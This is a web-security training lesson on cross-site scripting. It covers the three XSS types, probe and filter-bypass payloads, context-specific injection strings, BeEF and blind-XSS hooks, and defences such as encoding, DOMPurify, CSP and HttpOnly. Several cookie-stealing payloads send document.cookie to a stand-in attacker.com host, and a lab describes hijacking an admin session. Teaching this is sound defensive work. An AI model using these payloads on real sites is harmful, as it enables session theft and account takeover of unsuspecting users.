Web Application Security

Cross-Site Scripting (XSS)

Reflected, stored, and DOM XSS - stealing sessions, building payloads, and why output encoding matters.

Hard 28 minxssjavascriptcsp

Imagine a security researcher discovers they can make a bank's website execute their own JavaScript in any visitor's browser. Not a hypothetical - this has happened to PayPal, Twitter, Facebook, and hundreds of others. Cross-Site Scripting (XSS) is the art of injecting executable JavaScript into a page that other users will load, turning the trusted application itself into an attacker-controlled delivery mechanism for malware, credential theft, and session hijacking.

Authorized Targets Only - Every Lesson, Every Time

XSS testing - including probing for injection points, building payloads, and testing steal-cookie proof-of-concepts - must only be conducted against systems you own, have explicit written permission to test, or lab environments built for practice (DVWA, Juice Shop, XSS Hunter, HackTheBox). Testing XSS payloads against real users on live applications without authorization is illegal and can directly harm innocent people. Never steal real user sessions or cookies.

Three Types of XSS

XSS comes in three fundamentally different flavors, and understanding which type you are dealing with determines how you find it, exploit it, and defend against it.

Reflected XSS

The payload is included in the request, reflected immediately in the response, and executed in the victim's browser when they visit a crafted URL. The server does not store the payload - it just echoes it back.

Classic scenario: A search page that says "Results for: [your search term]" without encoding the term.

GET /search?q=<script>alert(1)</script> HTTP/1.1
Host: vulnerable.example.com

If the response contains:

<p>Results for: <script>alert(1)</script></p>

...the browser executes the script. The attacker's job is to get the victim to click a link containing the payload. Reflected XSS requires a social engineering step - it is only dangerous if the victim clicks a crafted URL.

Stored (Persistent) XSS

The payload is stored in the application's database and served to every user who loads the affected page. This is the high-impact variant - no phishing link required.

Classic scenario: A forum, comment section, product review, or profile bio that accepts user input and renders it without encoding.

An attacker posts a comment containing:

<script>
  fetch('https://attacker.com/steal?c=' + encodeURIComponent(document.cookie));
</script>

Every visitor who loads the page with that comment executes the JavaScript. The attacker collects session cookies from every affected user without any further interaction.

Why stored XSS is critical: The payload persists. A single stored XSS in a high-traffic location can compromise thousands of sessions before it is discovered and removed.

DOM-Based XSS

The vulnerability exists entirely in client-side JavaScript, not in the server response. User input flows from a source (a location in the DOM where attacker data enters) through JavaScript code to a sink (a location where that data is interpreted as HTML or JavaScript).

The server may never see the payload at all - it never appears in server-side responses.

Common sources: window.location, document.URL, document.referrer, location.hash, URL fragment (#...).

Common sinks: innerHTML, document.write(), eval(), setTimeout() with a string argument, location.href, jQuery's $(userInput).

Classic example:

// Vulnerable JavaScript reads from the URL hash and writes to innerHTML
const username = location.hash.substring(1);
document.getElementById('welcome').innerHTML = 'Welcome, ' + username;

Crafted URL: https://example.com/page#<img src=x onerror=alert(1)>

The server returns a normal page. The client-side JavaScript reads the fragment, writes it into innerHTML, and the browser parses the injected HTML and fires the event handler.

Building Payloads: From Alert to Impact

Basic Probes

The alert() payload is the traditional "proof of execution" but most applications with a mature bug bounty program require a more impactful PoC:

<script>alert(1)</script>
<script>alert(document.domain)</script>
<img src=x onerror=alert(1)>
<svg onload=alert(1)>
<body onload=alert(1)>
<input autofocus onfocus=alert(1)>
<details open ontoggle=alert(1)>

Bypassing Basic Filters

Many applications apply naive filters - blocking <script> but not other event handlers, or blocking alert but not confirm or prompt:

<!-- If <script> is blocked, use event handlers -->
<img src=x onerror=confirm(1)>
<svg/onload=prompt(1)>
 
<!-- If onerror is blocked -->
<body onpageshow=alert(1)>
<svg onload=alert&#40;1&#41;>
 
<!-- Mixed case (bypasses case-sensitive blocklists) -->
<ScRiPt>alert(1)</sCrIpT>
<IMG SRC=x OnErRoR=alert(1)>
 
<!-- Null bytes and whitespace variants -->
<img src=x	onerror=alert(1)>
 
<!-- Protocol handlers -->
<a href="javascript:alert(1)">click me</a>
 
<!-- HTML entities in event handlers -->
<img src=x onerror="&#97;&#108;&#101;&#114;&#116;(1)">

Context Determines Your Payload

Where in the HTML document your input lands determines which payloads work. Input reflected inside a tag attribute requires different escaping than input reflected inside a script block or a plain text node. Identify the injection context before building your payload.

Injection Context Matters

Reflected in HTML body context:

<p>Hello, [USER INPUT]</p>
<!-- Payload: <script>alert(1)</script> works directly -->

Reflected inside an HTML attribute:

<input value="[USER INPUT]">
<!-- Payload: " onmouseover="alert(1)   (breaks out of the attribute) -->

Reflected inside a JavaScript string:

<script>
  var name = "[USER INPUT]";
</script>
<!-- Payload: "; alert(1); //    (closes the string, injects statement) -->

Reflected in a URL attribute:

<a href="[USER INPUT]">link</a>
<!-- Payload: javascript:alert(1)   (no HTML breakout needed) -->

The primary real-world impact of XSS is session hijacking. If HttpOnly is not set on the session cookie, this payload exfiltrates it:

<script>
document.location='https://attacker.com/steal?c='+encodeURIComponent(document.cookie);
</script>

Or using a non-navigating approach (doesn't redirect the victim):

<script>
new Image().src='https://attacker.com/steal?c='+encodeURIComponent(document.cookie);
</script>

With the stolen session= cookie value, the attacker pastes it into their own browser (using a cookie editor extension or Burp) and gains access to the victim's authenticated session - without ever knowing the victim's password.

BeEF: Browser Exploitation Framework

For demonstrating the full impact of XSS beyond simple cookie theft, BeEF (Browser Exploitation Framework) hooks a victim's browser via an XSS payload and allows executing hundreds of browser-side attacks: keylogging, screenshot capture, webcam access (with permission prompts), network scanning from inside the victim's browser, and more.

kali@vr4cs: ~
 

XSS Hunter: Blind XSS Detection

Some injection points only execute in contexts you cannot observe - admin panels, email clients, PDF generators, log viewers. Blind XSS payloads report back to you asynchronously when they fire.

XSS Hunter (xsshunter.com, or self-hosted) provides a unique JavaScript payload that exfiltrates the page URL, cookies, localStorage, and a screenshot when it fires:

<script src="https://your-payload.xss.ht"></script>

Insert this in contact forms, support tickets, username fields, feedback forms - anywhere that might be viewed by an admin or processed by a backend system. When it fires, you receive a report with the full context.

Hands-on Lab

Stored XSS Cookie Stealer

Build a stored XSS payload that exfiltrates the admin's session cookie to your listening server, then use that cookie in Burp to access the admin panel - demonstrating the full impact chain from XSS to account takeover.

Seen in the wild · PayPal

Real HackerOne breakdown

A researcher discovered a stored XSS vulnerability in PayPal that was further amplified by cache poisoning, meaning the malicious payload was served from PayPal's CDN to users who visited legitimate PayPal pages - eliminating even the need for a user to interact with the original injected content.

Content Security Policy (CSP) Basics

A Content Security Policy is an HTTP response header that tells the browser which sources of content are allowed to execute on the page. It is the primary defense-in-depth measure against XSS - if a payload fires, CSP can prevent it from executing.

Content-Security-Policy: default-src 'self'; script-src 'self' https://cdn.example.com; object-src 'none'; base-uri 'self'

This policy says:

  • default-src 'self' - by default, only load resources from the same origin
  • script-src 'self' https://cdn.example.com - scripts only from same origin or the specified CDN
  • object-src 'none' - no plugins (Flash, etc.)
  • base-uri 'self' - prevents base tag injection attacks

CSP bypasses exist. A common one: if the policy includes 'unsafe-inline', inline scripts are still allowed. If it allows a CDN that hosts jQuery or Angular, an attacker can inject a script from that trusted CDN that calls back. If it includes 'unsafe-eval', eval() and Function() still work.

kali@vr4cs: ~
 

Prevention: Encoding, Sanitization, and Architecture

Output Encoding (The Primary Fix)

Every piece of user-controlled data rendered into an HTML response must be encoded for the context it appears in:

HTML context: Encode < as &lt;, > as &gt;, " as &quot;, ' as &#x27;, & as &amp;.

Most modern frameworks do this automatically:

<!-- Jinja2/Django -- safe by default -->
{{ user_input }}
 
<!-- React -- escapes HTML in JSX text nodes automatically -->
<p>{userInput}</p>
 
<!-- Dangerous -- bypasses framework encoding -->
<p dangerouslySetInnerHTML={{ __html: userInput }} />

JavaScript context: JSON-encode data, never concatenate:

// DANGEROUS
const name = "<?= $username ?>";  // PHP concatenation into JS
 
// SAFE - JSON encode server-side data into a script block
const userData = JSON.parse('<?= json_encode($user_data) ?>');

URL context: URL-encode all user data inserted into href or src attributes.

HTML Sanitization for Rich Content

When the application legitimately needs to accept and display HTML (rich text editors, Markdown renderers), use a mature sanitization library - not a regex or custom filter:

// Node.js: DOMPurify (the standard)
import DOMPurify from 'dompurify';
const clean = DOMPurify.sanitize(userHtml);
 
// Python: bleach
import bleach
clean = bleach.clean(user_html, tags=['p','strong','em','a'], attributes={'a': ['href']})

Never Write Your Own HTML Filter

Custom regex-based HTML filters are consistently bypassed. Browsers parse HTML in ways that defeat naive pattern matching - HTML5 parsers have hundreds of quirks that attackers have catalogued exhaustively. Use DOMPurify or an equivalent library that was specifically designed and fuzz-tested for this problem.

HttpOnly Cookies

Set HttpOnly on all session cookies. This does not prevent XSS from executing, but it prevents JavaScript from reading session cookies - the most impactful XSS attack vector:

Set-Cookie: session=abc123; HttpOnly; Secure; SameSite=Lax

Content Security Policy as Defense in Depth

A strict CSP is your last line of defense - if a payload bypasses encoding and sanitization, CSP can block its execution or at minimum prevent it from exfiltrating data. Aim for:

Content-Security-Policy: default-src 'self'; script-src 'self'; object-src 'none'; base-uri 'self'; form-action 'self'; frame-ancestors 'none'

Avoid 'unsafe-inline' and 'unsafe-eval'. Use nonces for legitimate inline scripts that cannot be moved to external files.

Key Takeaways

  • Reflected XSS lives in a URL - requires the victim to click a crafted link. Stored XSS persists in the database and attacks every visitor automatically. DOM XSS lives entirely in client-side JavaScript and may never touch the server.
  • Injection context (HTML body, attribute, script block, URL) determines which characters need to be escaped and which payload form will work.
  • The primary real-world impact is session hijacking via cookie theft - especially dangerous when HttpOnly is absent.
  • A Content Security Policy is the most important defense-in-depth layer but is not a primary control - bypasses exist for weak policies.
  • The primary fix is output encoding for the correct context in every modern framework's default rendering mode. Use DOMPurify for rich HTML. Never write custom filters.
  • HttpOnly on session cookies prevents the most common XSS exploitation path even if XSS itself is not fixed.